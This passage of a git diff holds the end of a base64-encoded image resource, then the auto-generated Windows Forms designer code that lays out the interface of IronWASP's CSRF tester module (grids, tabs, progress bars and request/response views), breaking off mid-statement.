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 + + + \ No newline at end of file diff --git a/Iron/Hawas/CsrfTester.Designer.cs b/Iron/Hawas/CsrfTester.Designer.cs new file mode 100644 index 0000000..100e04e --- /dev/null +++ b/Iron/Hawas/CsrfTester.Designer.cs @@ -0,0 +1,1289 @@ +namespace IronWASP.Hawas +{ + partial class CsrfTester + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle5 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle6 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CsrfTester)); + this.TestCandidatesBtn = new System.Windows.Forms.Button(); + this.CandidatesStepProgressBar = new System.Windows.Forms.ProgressBar(); + this.CandidatesBaseSplit = new System.Windows.Forms.SplitContainer(); + this.FilterTree = new System.Windows.Forms.TreeView(); + this.LogsDisplaySplit = new System.Windows.Forms.SplitContainer(); + this.CandidatesGrid = new System.Windows.Forms.DataGridView(); + this.SelectClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.HostNameSelectClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.MethodClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.URLClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.FileClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SSLClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ParametersClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.CodeClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.LengthClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ClmnMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SetCookieClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.NotesClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.ConfigureTab = new System.Windows.Forms.TabPage(); + this.ConfigurePanel = new System.Windows.Forms.Panel(); + this.label6 = new System.Windows.Forms.Label(); + this.ShowDocLL = new System.Windows.Forms.LinkLabel(); + this.HostnamesScopeTree = new System.Windows.Forms.TreeView(); + this.label4 = new System.Windows.Forms.Label(); + this.SessionRecordingCombo = new System.Windows.Forms.ComboBox(); + this.FileTypesScopeGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestModeRemoveTokenRB = new System.Windows.Forms.RadioButton(); + this.label5 = new System.Windows.Forms.Label(); + this.CsrfTokenReplacementValueTB = new System.Windows.Forms.TextBox(); + this.TestModeReplaceTokenRB = new System.Windows.Forms.RadioButton(); + this.label3 = new System.Windows.Forms.Label(); + this.FindCandidatesBtn = new System.Windows.Forms.Button(); + this.label2 = new System.Windows.Forms.Label(); + this.CsrfTokenParameterNameTB = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.ConfigureStepProgressBar = new System.Windows.Forms.ProgressBar(); + this.CandidatesTab = new System.Windows.Forms.TabPage(); + this.CandidatesSplit = new System.Windows.Forms.SplitContainer(); + this.label7 = new System.Windows.Forms.Label(); + this.ResultsTab = new System.Windows.Forms.TabPage(); + this.ResultsBaseSplit = new System.Windows.Forms.SplitContainer(); + this.ResultsTopSplit = new System.Windows.Forms.SplitContainer(); + this.ResultsStepProgressBar = new System.Windows.Forms.ProgressBar(); + this.label8 = new System.Windows.Forms.Label(); + this.ResultsGrid = new System.Windows.Forms.DataGridView(); + this.IDClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.HostNameClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestedUrlClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestIdClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OriginalVsTestClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OriginalRequestBinaryStringClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OriginalResponseBinaryStringClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestRequestBinaryStringClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestResponseBinaryStringClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ResultsBottomTabs = new System.Windows.Forms.TabControl(); + this.tabPage11 = new System.Windows.Forms.TabPage(); + this.tabControl5 = new System.Windows.Forms.TabControl(); + this.tabPage22 = new System.Windows.Forms.TabPage(); + this.tabPage19 = new System.Windows.Forms.TabPage(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.tabControl3 = new System.Windows.Forms.TabControl(); + this.tabPage16 = new System.Windows.Forms.TabPage(); + this.tabPage15 = new System.Windows.Forms.TabPage(); + this.tabPage7 = new System.Windows.Forms.TabPage(); + this.LogDisplayTabs = new System.Windows.Forms.TabControl(); + this.tabPage29 = new System.Windows.Forms.TabPage(); + this.tabPage12 = new System.Windows.Forms.TabPage(); + this.SessView = new IronWASP.SessionView(); + this.OriginalVsTestResponseDRV = new IronWASP.DiffResultView(); + this.OriginalVsTestRequestDRV = new IronWASP.DiffResultView(); + this.TestResponseView = new IronWASP.ResponseView(); + this.TestRequestView = new IronWASP.RequestView(); + this.OriginalResponseView = new IronWASP.ResponseView(); + this.OriginalRequestView = new IronWASP.RequestView(); + this.CandidatesBaseSplit.Panel1.SuspendLayout(); + this.CandidatesBaseSplit.Panel2.SuspendLayout(); + this.CandidatesBaseSplit.SuspendLayout(); + this.LogsDisplaySplit.Panel1.SuspendLayout(); + this.LogsDisplaySplit.Panel2.SuspendLayout(); + this.LogsDisplaySplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.CandidatesGrid)).BeginInit(); + this.BaseTabs.SuspendLayout(); + this.ConfigureTab.SuspendLayout(); + this.ConfigurePanel.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FileTypesScopeGrid)).BeginInit(); + this.CandidatesTab.SuspendLayout(); + this.CandidatesSplit.Panel1.SuspendLayout(); + this.CandidatesSplit.Panel2.SuspendLayout(); + this.CandidatesSplit.SuspendLayout(); + this.ResultsTab.SuspendLayout(); + this.ResultsBaseSplit.Panel1.SuspendLayout(); + this.ResultsBaseSplit.Panel2.SuspendLayout(); + this.ResultsBaseSplit.SuspendLayout(); + this.ResultsTopSplit.Panel1.SuspendLayout(); + this.ResultsTopSplit.Panel2.SuspendLayout(); + this.ResultsTopSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ResultsGrid)).BeginInit(); + this.ResultsBottomTabs.SuspendLayout(); + this.tabPage11.SuspendLayout(); + this.tabControl5.SuspendLayout(); + this.tabPage22.SuspendLayout(); + this.tabPage19.SuspendLayout(); + this.tabPage3.SuspendLayout(); + this.tabControl3.SuspendLayout(); + this.tabPage16.SuspendLayout(); + this.tabPage15.SuspendLayout(); + this.tabPage7.SuspendLayout(); + this.LogDisplayTabs.SuspendLayout(); + this.tabPage29.SuspendLayout(); + this.tabPage12.SuspendLayout(); + this.SuspendLayout(); + // + // TestCandidatesBtn + // + this.TestCandidatesBtn.Location = new System.Drawing.Point(5, 8); + this.TestCandidatesBtn.Name = "TestCandidatesBtn"; + this.TestCandidatesBtn.Size = new System.Drawing.Size(191, 23); + this.TestCandidatesBtn.TabIndex = 28; + this.TestCandidatesBtn.Text = "Test Selected Candidates"; + this.TestCandidatesBtn.UseVisualStyleBackColor = true; + this.TestCandidatesBtn.Visible = false; + this.TestCandidatesBtn.Click += new System.EventHandler(this.TestCandidatesBtn_Click); + // + // CandidatesStepProgressBar + // + this.CandidatesStepProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.CandidatesStepProgressBar.Location = new System.Drawing.Point(220, 8); + this.CandidatesStepProgressBar.Name = "CandidatesStepProgressBar"; + this.CandidatesStepProgressBar.Size = new System.Drawing.Size(684, 23); + this.CandidatesStepProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.CandidatesStepProgressBar.TabIndex = 27; + this.CandidatesStepProgressBar.Visible = false; + // + // CandidatesBaseSplit + // + this.CandidatesBaseSplit.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.CandidatesBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.CandidatesBaseSplit.Location = new System.Drawing.Point(0, 0); + this.CandidatesBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.CandidatesBaseSplit.Name = "CandidatesBaseSplit"; + // + // CandidatesBaseSplit.Panel1 + // + this.CandidatesBaseSplit.Panel1.Controls.Add(this.FilterTree); + // + // CandidatesBaseSplit.Panel2 + // + this.CandidatesBaseSplit.Panel2.Controls.Add(this.LogsDisplaySplit); + this.CandidatesBaseSplit.Size = new System.Drawing.Size(870, 465); + this.CandidatesBaseSplit.SplitterDistance = 258; + this.CandidatesBaseSplit.TabIndex = 0; + this.CandidatesBaseSplit.Visible = false; + // + // FilterTree + // + this.FilterTree.BackColor = System.Drawing.Color.White; + this.FilterTree.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.FilterTree.CheckBoxes = true; + this.FilterTree.Dock = System.Windows.Forms.DockStyle.Fill; + this.FilterTree.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FilterTree.Location = new System.Drawing.Point(0, 0); + this.FilterTree.Margin = new System.Windows.Forms.Padding(0); + this.FilterTree.Name = "FilterTree"; + this.FilterTree.ShowRootLines = false; + this.FilterTree.Size = new System.Drawing.Size(256, 463); + this.FilterTree.TabIndex = 33; + this.FilterTree.BeforeCheck += new System.Windows.Forms.TreeViewCancelEventHandler(this.FilterTree_BeforeCheck); + this.FilterTree.AfterCheck += new System.Windows.Forms.TreeViewEventHandler(this.FilterTree_AfterCheck); + this.FilterTree.BeforeCollapse += new System.Windows.Forms.TreeViewCancelEventHandler(this.FilterTree_BeforeCollapse); + // + // LogsDisplaySplit + // + this.LogsDisplaySplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.LogsDisplaySplit.Location = new System.Drawing.Point(0, 0); + this.LogsDisplaySplit.Name = "LogsDisplaySplit"; + this.LogsDisplaySplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // LogsDisplaySplit.Panel1 + // + this.LogsDisplaySplit.Panel1.BackColor = System.Drawing.Color.White; + this.LogsDisplaySplit.Panel1.Controls.Add(this.CandidatesGrid); + // + // LogsDisplaySplit.Panel2 + // + this.LogsDisplaySplit.Panel2.Controls.Add(this.SessView); + this.LogsDisplaySplit.Size = new System.Drawing.Size(606, 463); + this.LogsDisplaySplit.SplitterDistance = 253; + this.LogsDisplaySplit.TabIndex = 0; + // + // CandidatesGrid + // + this.CandidatesGrid.AllowUserToAddRows = false; + this.CandidatesGrid.AllowUserToDeleteRows = false; + this.CandidatesGrid.AllowUserToOrderColumns = true; + this.CandidatesGrid.AllowUserToResizeRows = false; + this.CandidatesGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.CandidatesGrid.BackgroundColor = System.Drawing.Color.White; + this.CandidatesGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.CandidatesGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; + this.CandidatesGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.CandidatesGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.SelectClmn, + this.dataGridViewTextBoxColumn2, + this.HostNameSelectClmn, + this.MethodClmn, + this.URLClmn, + this.FileClmn, + this.SSLClmn, + this.ParametersClmn, + this.CodeClmn, + this.LengthClmn, + this.ClmnMIME, + this.SetCookieClmn, + this.NotesClmn}); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.CandidatesGrid.DefaultCellStyle = dataGridViewCellStyle2; + this.CandidatesGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.CandidatesGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.CandidatesGrid.GridColor = System.Drawing.Color.White; + this.CandidatesGrid.Location = new System.Drawing.Point(0, 0); + this.CandidatesGrid.Margin = new System.Windows.Forms.Padding(0); + this.CandidatesGrid.MultiSelect = false; + this.CandidatesGrid.Name = "CandidatesGrid"; + this.CandidatesGrid.ReadOnly = true; + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle3.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle3.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle3.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.CandidatesGrid.RowHeadersDefaultCellStyle = dataGridViewCellStyle3; + this.CandidatesGrid.RowHeadersVisible = false; + this.CandidatesGrid.RowHeadersWidth = 10; + this.CandidatesGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.CandidatesGrid.Size = new System.Drawing.Size(606, 253); + this.CandidatesGrid.TabIndex = 4; + this.CandidatesGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.CandidatesGrid_CellClick); + this.CandidatesGrid.SelectionChanged += new System.EventHandler(this.CandidatesGrid_SelectionChanged); + // + // SelectClmn + // + this.SelectClmn.AutoSizeMode = 